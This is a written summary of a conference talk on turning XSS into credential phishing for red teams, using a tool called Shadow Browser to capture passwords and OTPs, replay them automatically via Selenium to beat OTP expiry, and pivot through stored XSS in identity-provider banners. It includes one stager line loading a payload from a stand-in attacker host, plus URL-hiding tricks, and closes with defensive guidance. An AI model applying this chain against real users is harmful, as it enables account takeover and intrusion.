Weaponising XSS for Red Teams

Weaponising XSS for Red Teams

Speakers: Jesse (Security Consultant, Tanto Security); Noah (Security Consultant, Tanto Security)

Conference: Kawaiicon

YouTube: https://www.youtube.com/watch?v=bvXUJsngrlo

Overview

In this insightful Kawaiicon talk, Jesse and Noah from Tanto Security delve into the often-underestimated power of Cross-Site Scripting (XSS) vulnerabilities when weaponized for red team operations. They introduce Shadow Browser, a novel tool designed to automate the exploitation of XSS by seamlessly integrating it with advanced phishing techniques. The speakers highlight how this combination can bypass conventional user training and even overcome the challenges posed by multi-factor authentication (MFA) methods like one-time passwords (OTPs).

The presentation outlines a hypothetical red team engagement where a seemingly low-severity XSS vulnerability in a static wiki page evolves into a high-impact attack vector. Jesse and Noah detail the technical hurdles encountered during such an engagement, particularly the need for automated session generation to circumvent time-sensitive MFA tokens. Shadow Browser emerges as the solution, enabling red teams to efficiently exfiltrate credentials and OTPs, automatically generate authenticated sessions, and pivot into target environments.

Ultimately, this talk serves as a crucial reminder for both offensive and defensive security professionals. It challenges the conventional wisdom of assessing XSS impact solely based on CVSS scores, demonstrating its potential for significant lateral movement and post-compromise activity. By showcasing practical scenarios, including the exploitation of "XSS as a feature" in high-privileged applications, Jesse and Noah underscore the critical importance of robust XSS defenses and the adoption of phishing-resistant MFA solutions.

Background

▶ Watch: Weaponizing XSS for Red Teams: Shadow Browser intro. (0:00)

Red team engagements typically commence with an external phase, where attackers scan for vulnerabilities in an organization's publicly exposed infrastructure. This often involves identifying outdated software, searching for common misconfigurations, or discovering leaked credentials to gain initial access. While high-severity vulnerabilities like Remote Code Execution (RCE) or arbitrary file reads are sought after, Noah explains that sometimes attackers are left with seemingly less critical findings, such as XSS.

Cross-Site Scripting, as defined by the speakers, occurs "when HTML is constructed based on untrustworthy data without any context appropriate encoding." This means that dynamic data, whether from a URL parameter, database record, header, or DNS record, is inserted directly into a webpage's HTML without proper sanitization. An adversary can then inject malicious HTML or JavaScript that executes within the victim's browser, under the context of the legitimate website. Despite being a well-known injection vulnerability, XSS remains alarmingly prevalent. The speakers cite CWE-79 (Improper Neutralization of Input During Web Page Generation) as a persistent issue, accounting for a significant proportion of CVEs annually, reaching 21.15% in 2024.

The challenge with traditional XSS exploitation, particularly in scenarios like a static, uninteresting wiki page, is the lack of immediate high-value targets. There might be no sensitive actions (e.g., bank transfers) or data (e.g., user details, private messages) to exfiltrate directly. This leads to a perceived low impact, often resulting in a low CVSS score. However, Jesse and Noah propose an "epic handshake" – combining XSS with phishing. By leveraging XSS on a trusted domain, attackers can dynamically alter the webpage content to display a convincing login form. This approach effectively bypasses typical phishing training, which primarily focuses on checking the URL, as the malicious content is rendered on the legitimate, trusted domain itself.

While this combined approach is powerful, a significant hurdle emerges when dealing with modern authentication, especially Multi-Factor Authentication (MFA) using One-Time Passwords (OTPs). OTPs have short expiry windows, typically lasting only a few minutes. If an adversary manually logs exfiltrated credentials and OTPs, the time delay between the victim entering them and the attacker attempting to use them can lead to the OTP expiring, rendering the attack ineffective. This problem necessitates a more automated solution to capture and immediately utilize these time-sensitive credentials.

Key Findings

▶ Watch: Combining XSS and phishing for trusted domain credential capture. (6:00)

The core findings presented in this talk revolve around elevating the perceived and actual impact of XSS vulnerabilities, particularly in red team contexts. Jesse and Noah demonstrate that XSS, even when initially assessed as low severity due to the lack of sensitive functionality on the vulnerable page, can be weaponized to achieve high-impact outcomes.

Firstly, they highlight that traditional phishing defenses, which often emphasize checking the URL, are rendered ineffective when XSS is leveraged. By injecting a malicious login form directly onto a legitimate and trusted domain, the victim's primary indicator of a phishing attempt is neutralized, significantly increasing the likelihood of successful credential capture.

Secondly, the introduction of Shadow Browser represents a significant contribution to offensive security tooling. This tool directly addresses the critical challenge of time-sensitive MFA tokens, such as OTPs. By automating the entire process—from cloning target login pages and deploying them via XSS, to exfiltrating credentials and OTPs, and then automatically generating authenticated sessions using browser automation—Shadow Browser eliminates the manual delay that typically leads to OTP expiry. This automation transforms a transient opportunity into a reliable method for session hijacking.

Finally, the talk expands the scope of XSS exploitation beyond simple reflected or stored vulnerabilities. It introduces the concept of "XSS as a feature," where legitimate application functionalities (e.g., content management systems, page customization features in Identity Providers) allow for the injection of custom HTML or JavaScript. When these features are available to high-privileged users, they can be abused post-compromise to establish persistent XSS, target other users, and facilitate lateral movement within an organization, such as pivoting from an IDP admin account to access a developer VPN gateway. This finding underscores the importance of scrutinizing seemingly benign "customization" features for potential security implications.

Technical Deep Dive

▶ Watch: How Shadow Browser automates session generation to bypass MFA. (9:50)

Shadow Browser is engineered to streamline and automate the process of leveraging XSS for credential and session capture. Its architecture is built around several key components and concepts, designed to overcome the limitations of manual exploitation, particularly concerning time-sensitive MFA.

The tool's primary function is to clone a target login form, typically an SSO (Single Sign-On) page, and serve it via an XSS payload on a vulnerable application. When a victim interacts with this injected form, their credentials (username, password, and crucially, OTPs) are exfiltrated to the adversary's Shadow Browser server, not the legitimate application server. Following exfiltration, the victim is typically redirected to the original login page, often presenting an error message to mask the attack.

A central innovation of Shadow Browser is its robust handling of Multi-Factor Authentication (MFA). While acknowledging the existence of phishing-resistant MFA methods like FIDO2 and passkeys, the speakers focus on the prevalence of less secure, non-phishing-resistant methods such as OTPs. The critical issue with OTPs is their short lifespan. To circumvent this, Shadow Browser employs a system of processes, which are modular Python scripts executed on the adversary's server as soon as credentials are received. These processes can perform various actions, such as logging credentials to a file, sending alerts (e.g., to Slack), and most importantly, generating an authenticated session using browser automation.

The browser automation capability is powered by Selenium, a widely used library that allows programmatic control of web browsers. Instead of the adversary manually entering the exfiltrated credentials and OTPs, a Selenium script, defined within a Shadow Browser process, automatically navigates to the target login page, inputs the captured data, and completes the login flow. This immediate action bypasses the OTP expiry window, ensuring the adversary can successfully obtain an authenticated session. The modular nature of these processes allows red teams to enable or disable features like automatic session generation based on the specific engagement requirements.

Payload deployment with Shadow Browser involves two main parts: login.html and payload.js. login.html is a meticulously cloned version of the target SSO login page. payload.js is the main JavaScript code that, when executed via XSS, replaces the content of the vulnerable webpage with login.html, handles the submission of credentials to the Shadow Browser server, and manages victim redirection.

To inject payload.js into the vulnerable application, especially in reflected XSS scenarios with character limits (e.g., 100 characters), a stager is used. The stager is a small initial JavaScript payload, typically a <script> tag with a src attribute pointing to the payload.js hosted on the Shadow Browser server (e.g., <script src="https://adversary.com/payload.js"></script>). This small stager (e.g., 67 characters) fits within typical parameter size limitations and then loads the larger payload.js. The speakers note that other HTML tags can be used to load the main payload if <script> tags are filtered.

Another technical consideration is URL obfuscation. When a reflected XSS payload is present in the URL, it can look suspicious. The talk demonstrates two methods to address this. The first involves prepending junk request parameters, such as UTM parameters (commonly used for marketing tracking), to push the malicious-looking parts of the URL out of view. A more sophisticated method involves using JavaScript's history.pushState() function from the URL API to programmatically modify the URL in the browser's address bar, effectively removing the XSS payload from sight. While cleaner, this method has the caveat that reloading the page might break the injected content as the payload itself has been removed from the URL.

Beyond reflected XSS, Shadow Browser is also highly effective against stored XSS, particularly in what the speakers term "XSS as a feature" scenarios. This refers to applications that legitimately allow users (typically high-privileged ones) to inject custom HTML or JavaScript, such as Content Management Systems (CMS) like WordPress, page customization options in Identity Providers (IDPs) like Okta, or low-code website editors like Wix. In such cases, the adversary, having compromised a high-privileged account (e.g., an IDP admin), can inject a persistent XSS payload (the stager linking to payload.js) into a site banner or other customizable element. This stored XSS then executes for any user who views that page, including those on the login screen, allowing for widespread credential capture and subsequent lateral movement, such as pivoting from an IDP account to a developer VPN gateway when credentials are synced.

Demo / Proof of Concept

▶ Watch: Techniques to hide suspicious elements in malicious URLs. (18:00)

The speakers demonstrated Shadow Browser's capabilities through two distinct scenarios, illustrating its versatility in both external and post-compromise contexts.

Scenario 1: Reflected XSS on an External Wiki

In the first scenario, Jesse and Noah simulated a red team engagement where a reflected XSS vulnerability was discovered on a static, public-facing wiki page belonging to "Organization X." Despite the wiki's lack of sensitive content, Shadow Browser was utilized to weaponize this vulnerability.

1. Preparation: The adversary configured Shadow Browser by uploading a cloned login.html (mimicking the organization's SSO login page) and the primary payload.js.
2. Stager Injection: A small stager (e.g., <script src="adversary.com/payload.js"></script>) was crafted to fit within the character limits of the reflected XSS vector (e.g., 100 characters in the Q parameter of the wiki's URL).
3. Phishing Campaign: A highly contextualized phishing email was sent to a victim within Organization X. The email established trust through familiar information gathered during reconnaissance and created a sense of urgency, prompting the victim to click a malicious link. This link directed the victim to the vulnerable wiki page, with the XSS stager embedded in the URL.
4. Execution and Credential Capture:

• When the victim clicked the link, the XSS stager executed, pulling payload.js from the Shadow Browser server.
• payload.js then replaced the entire content of the wiki page with the cloned login.html, presenting a convincing SSO login form on the legitimate domain.
• To enhance believability, the URL in the victim's browser was obfuscated using UTM parameters to hide the suspicious XSS payload. A more advanced demonstration showed JavaScript's history.pushState() being used for a cleaner URL modification.
• The victim, believing they were on their organization's trusted login page, entered their username, password, and a One-Time Password (OTP).
• These credentials and the OTP were immediately sent to the Shadow Browser control panel on the adversary's server.

1. Automated Session Generation: Upon receiving the credentials, Shadow Browser's browser automation processor (utilizing Selenium) automatically initiated a login attempt to the legitimate SSO application. This rapid, automated login ensured that the time-sensitive OTP was used before its expiry.
2. Session Obtained: The adversary was then able to obtain the generated session, gaining authenticated access to the SSO application as the victim.

Scenario 2: Stored XSS ("XSS as a Feature") in an IDP Application

The second scenario demonstrated Shadow Browser's utility in a post-compromise situation, leveraging "XSS as a feature" within an Identity Provider (IDP) application.

1. Initial Compromise: The scenario assumed that an IDP administrator account had already been compromised, perhaps via an initial phishing attack.
2. Feature Abuse: From the IDP admin's perspective, an "interesting feature" was discovered: the ability to configure a site banner that supports HTML tags for styling, which is displayed on all screens, including the login page. This was an "intended feature" for styling but presented an XSS vector.
3. Stored XSS Injection: The compromised IDP admin injected the Shadow Browser stager (linking to payload.js) into the site banner configuration. This created a stored XSS vulnerability, meaning the payload would persist and execute for any user viewing the banner.
4. Targeting Developers: The client provided crucial intelligence: IDP credentials were synced with a developer VPN gateway credential database, and only developers had the role to log into the VPN. This created a clear pivot opportunity.
5. Credential Capture and Lateral Movement:

• When developers attempted to log into the IDP, the injected banner (containing the XSS payload) would execute, displaying the cloned SSO login form.
• Their credentials and OTPs were exfiltrated to Shadow Browser.
• The browser automation processor then automatically used these credentials to log into the developer VPN gateway, not just the IDP.

1. Internal Access: This allowed the adversary to establish a VPN connection, effectively pivoting from IDP admin access to gaining access to the organization's internal infrastructure, enabling further lateral movement and "wrecking havoc to their internal platforms."

These demonstrations effectively showcased how Shadow Browser transforms XSS from a potentially low-impact finding into a powerful tool for automated credential harvesting, MFA bypass, and strategic lateral movement in red team operations. The Shadow Browser control panel was briefly shown as the interface for logging captured credentials and managing these automated processes.

Defensive Implications

▶ Watch: Leveraging stored XSS for post-compromise lateral movement. (19:30)

The insights from this talk carry significant implications for defensive security strategies, urging a re-evaluation of how XSS vulnerabilities are perceived and mitigated.

Firstly, defenders must rethink the severity of XSS vulnerabilities. Relying solely on CVSS scores can be misleading, as an XSS on a seemingly benign page can be weaponized for high-impact attacks like credential harvesting and session hijacking, especially when combined with phishing. Every XSS, regardless of its immediate context, should be treated with a higher degree of concern.

A fundamental defense against XSS is the rigorous implementation of context-appropriate encoding. All dynamic data inserted into HTML must be properly sanitized and encoded based on the context (e.g., HTML entity encoding for HTML content, JavaScript escaping for JavaScript context). This prevents injected malicious code from being interpreted as active content.

Furthermore, traditional phishing awareness training needs to evolve. Educating users to "check the URL" is insufficient, as XSS attacks operate on legitimate, trusted domains. Training should emphasize scrutinizing page content for unexpected login prompts or alterations, even on familiar sites. Users should be instructed to report any suspicious behavior, regardless of the URL.

A critical takeaway is the urgent need to prioritize phishing-resistant MFA methods. Organizations should migrate away from OTP-based MFA, which is highly susceptible to the type of automated session hijacking demonstrated. Instead, the adoption of FIDO2-compliant security keys or passkeys should be a strategic imperative, as these methods cryptographically bind authentication to the legitimate origin and are inherently resistant to phishing and session theft.

Defenders must also thoroughly review applications that offer "XSS as a feature," such as Content Management Systems (CMS), Identity Providers (IDPs) with customizability options, or low-code platforms. While these features might be intended for legitimate customization, they represent significant attack surfaces if not properly secured. Strict access controls, robust input validation and sanitization, and potentially sandboxing mechanisms should be in place for any functionality that allows users to inject custom HTML or JavaScript, especially for high-privileged accounts.

Finally, organizations should implement robust monitoring and alerting for unusual login patterns or rapid session creations. If Shadow Browser automates a login immediately after credentials are entered, this might create an anomaly that could be detected by advanced Security Information and Event Management (SIEM) or Extended Detection and Response (XDR) systems. Additionally, auditing applications for synchronized credentials across different systems (e.g., IDP to VPN gateway) is crucial, as this creates powerful lateral movement opportunities for attackers.

Key Takeaways

• Underestimated XSS Impact: XSS vulnerabilities, even in seemingly low-severity contexts, can be weaponized for high-impact credential harvesting and session hijacking, challenging traditional CVSS-based risk assessments.
• Shadow Browser's Automation: The tool automates the exploitation of XSS by cloning login pages, exfiltrating credentials and time-sensitive OTPs, and instantly generating authenticated sessions via browser automation.
• Phishing Defense Bypass: Combining XSS with phishing on a legitimate domain effectively bypasses common user training to "check the URL," making the attack highly convincing and increasing success rates.
• MFA Vulnerability: OTP-based MFA methods are susceptible to this attack due to their short expiry windows, highlighting the need for organizations to transition to phishing-resistant MFA solutions like FIDO2 and passkeys.
• "XSS as a Feature" for Lateral Movement: Legitimate application features allowing custom HTML/JavaScript injection (e.g., in CMS or IDPs) can be abused post-compromise to create persistent XSS, enabling significant lateral movement and access to internal infrastructure.
• Proactive Defense: Defenders must implement strict context-appropriate encoding, enhance phishing training beyond URL checks, prioritize phishing-resistant MFA, and rigorously audit "customization" features in applications.

About the Speaker(s)

Jesse is a Security Consultant at Tanto Security, specializing in offensive security engagements including red teaming and penetration testing. He is also an active participant in CTF (Capture The Flag) competitions.

Noah is also a Security Consultant at Tanto Security, working alongside Jesse on offensive security engagements. Like Jesse, he is an experienced CTF player, contributing to their combined expertise in practical exploitation techniques.